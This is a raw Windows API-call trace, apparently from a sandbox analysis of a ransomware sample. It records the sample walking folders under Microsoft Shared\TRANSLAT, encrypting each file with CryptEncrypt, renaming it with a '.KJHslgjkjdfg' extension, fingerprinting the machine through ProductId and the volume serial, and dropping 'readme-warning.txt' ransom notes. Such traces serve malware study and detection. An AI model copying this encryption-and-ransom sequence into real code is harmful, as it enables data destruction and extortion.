[0151.413] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x290efac, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290efac*=0x40000, lpOverlapped=0x0) returned 1 [0151.419] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000, dwBufLen=0x40000 | out: pbData=0x26c0020*, pdwDataLen=0x290efb4*=0x40000) returned 1 [0151.422] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x155020, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.422] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efb0*=0x40000, lpOverlapped=0x0) returned 1 [0151.423] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.423] WriteFile (in: hFile=0x118, lpBuffer=0x290efb8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efb0, lpOverlapped=0x0 | out: lpBuffer=0x290efb8*, lpNumberOfBytesWritten=0x290efb0*=0x8, lpOverlapped=0x0) returned 1 [0151.423] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.423] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1950f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.423] SetEndOfFile (hFile=0x118) returned 1 [0151.427] GetProcessHeap () returned 0x2a0000 [0151.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.427] GetProcessHeap () returned 0x2a0000 [0151.427] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.427] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.kjhslgjkjdfg")) returned 1 [0151.428] CloseHandle (hObject=0x118) returned 1 [0151.428] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0 [0151.429] GetProcessHeap () returned 0x2a0000 [0151.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.429] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.429] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.429] GetProcessHeap () returned 0x2a0000 [0151.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.429] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.429] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.429] GetProcessHeap () returned 0x2a0000 [0151.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0151.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.429] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0151.429] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.429] GetProcessHeap () returned 0x2a0000 [0151.429] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.429] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.429] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.430] GetProcessHeap () returned 0x2a0000 [0151.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.430] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.430] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.430] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.430] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.430] RegCloseKey (hKey=0x118) returned 0x0 [0151.430] GetProcessHeap () returned 0x2a0000 [0151.430] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.430] GetProcessHeap () returned 0x2a0000 [0151.430] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.430] GetProcessHeap () returned 0x2a0000 [0151.430] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.430] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.430] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.430] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.430] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.430] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.431] GetProcessHeap () returned 0x2a0000 [0151.431] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.431] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.431] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.431] GetProcessHeap () returned 0x2a0000 [0151.431] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0151.431] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\readme-warning.txt") returned 79 [0151.431] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.432] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.433] CloseHandle (hObject=0x118) returned 1 [0151.434] GetProcessHeap () returned 0x2a0000 [0151.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0151.434] GetProcessHeap () returned 0x2a0000 [0151.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0151.434] GetProcessHeap () returned 0x2a0000 [0151.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.434] GetProcessHeap () returned 0x2a0000 [0151.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.434] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.434] GetProcessHeap () returned 0x2a0000 [0151.434] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.434] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ENES", cAlternateFileName="")) returned 1 [0151.434] GetProcessHeap () returned 0x2a0000 [0151.434] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8a) returned 0x2ef2d8 [0151.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.437] GetProcessHeap () returned 0x2a0000 [0151.438] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ef2d8 | out: hHeap=0x2a0000) returned 1 [0151.438] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54ce0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54ce0b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.438] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 1 [0151.438] GetProcessHeap () returned 0x2a0000 [0151.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x28c) returned 0x2f32d0 [0151.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.438] GetProcessHeap () returned 0x2a0000 [0151.438] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.438] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.438] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.438] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0151.442] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.442] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.442] GetProcessHeap () returned 0x2a0000 [0151.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.442] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.442] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.442] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.442] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.442] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.442] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.442] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.442] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.443] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.443] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.443] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.443] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xeed1e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xeed1e, lpOverlapped=0x0) returned 1 [0151.462] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xeed20, dwBufLen=0xeed20 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0xeed20) returned 1 [0151.476] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.476] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xeed20, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0xeed20, lpOverlapped=0x0) returned 1 [0151.480] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.480] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xeedf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.480] SetEndOfFile (hFile=0x118) returned 1 [0151.484] GetProcessHeap () returned 0x2a0000 [0151.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.484] GetProcessHeap () returned 0x2a0000 [0151.484] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.484] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\MSB1ENES.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\msb1enes.its.kjhslgjkjdfg")) returned 1 [0151.485] CloseHandle (hObject=0x118) returned 1 [0151.486] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c637800, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x54ce0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c637800, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xeed1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1ENES.ITS", cAlternateFileName="")) returned 0 [0151.486] GetProcessHeap () returned 0x2a0000 [0151.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.486] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290ee20 | out: pbData=0x2bf570, pdwDataLen=0x290ee20) returned 1 [0151.486] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.486] GetProcessHeap () returned 0x2a0000 [0151.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0151.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.486] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290ee20 | out: pbData=0x2bf5b8, pdwDataLen=0x290ee20) returned 1 [0151.486] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.486] GetProcessHeap () returned 0x2a0000 [0151.486] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f8728 [0151.486] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290edb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.486] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f8728, pdwDataLen=0x290ee20 | out: pbData=0x2f8728, pdwDataLen=0x290ee20) returned 1 [0151.486] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.486] GetProcessHeap () returned 0x2a0000 [0151.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0151.487] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.487] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ea00 | out: pbData=0x2bf528, pdwDataLen=0x290ea00) returned 1 [0151.487] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.487] GetProcessHeap () returned 0x2a0000 [0151.487] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.487] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.487] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290ea00 | out: pbData=0x2c1640, pdwDataLen=0x290ea00) returned 1 [0151.487] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.487] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e9fc | out: phkResult=0x290e9fc*=0x118) returned 0x0 [0151.488] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ea08, lpcbData=0x290ea04*=0x400 | out: lpType=0x0, lpData=0x290ea08*=0x30, lpcbData=0x290ea04*=0x18) returned 0x0 [0151.488] RegCloseKey (hKey=0x118) returned 0x0 [0151.488] GetProcessHeap () returned 0x2a0000 [0151.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0151.488] GetProcessHeap () returned 0x2a0000 [0151.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.488] GetProcessHeap () returned 0x2a0000 [0151.488] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0151.488] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c63e0) returned 1 [0151.488] CryptDecrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e7d4 | out: pbData=0x2c1640, pdwDataLen=0x290e7d4) returned 1 [0151.488] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.489] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0151.489] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0151.489] GetProcessHeap () returned 0x2a0000 [0151.489] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0151.489] wsprintfA (in: param_1=0x290ea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0151.489] wsprintfA (in: param_1=0x290ee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0151.489] GetProcessHeap () returned 0x2a0000 [0151.489] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f8af0 [0151.489] wsprintfW (in: param_1=0x290ddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\readme-warning.txt") returned 79 [0151.489] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ENES\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\enes\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.497] WriteFile (in: hFile=0x118, lpBuffer=0x2f8af0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290ddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f8af0*, lpNumberOfBytesWritten=0x290ddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0151.499] CloseHandle (hObject=0x118) returned 1 [0151.499] GetProcessHeap () returned 0x2a0000 [0151.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8728 | out: hHeap=0x2a0000) returned 1 [0151.500] GetProcessHeap () returned 0x2a0000 [0151.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f8af0 | out: hHeap=0x2a0000) returned 1 [0151.500] GetProcessHeap () returned 0x2a0000 [0151.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.500] GetProcessHeap () returned 0x2a0000 [0151.500] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.500] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 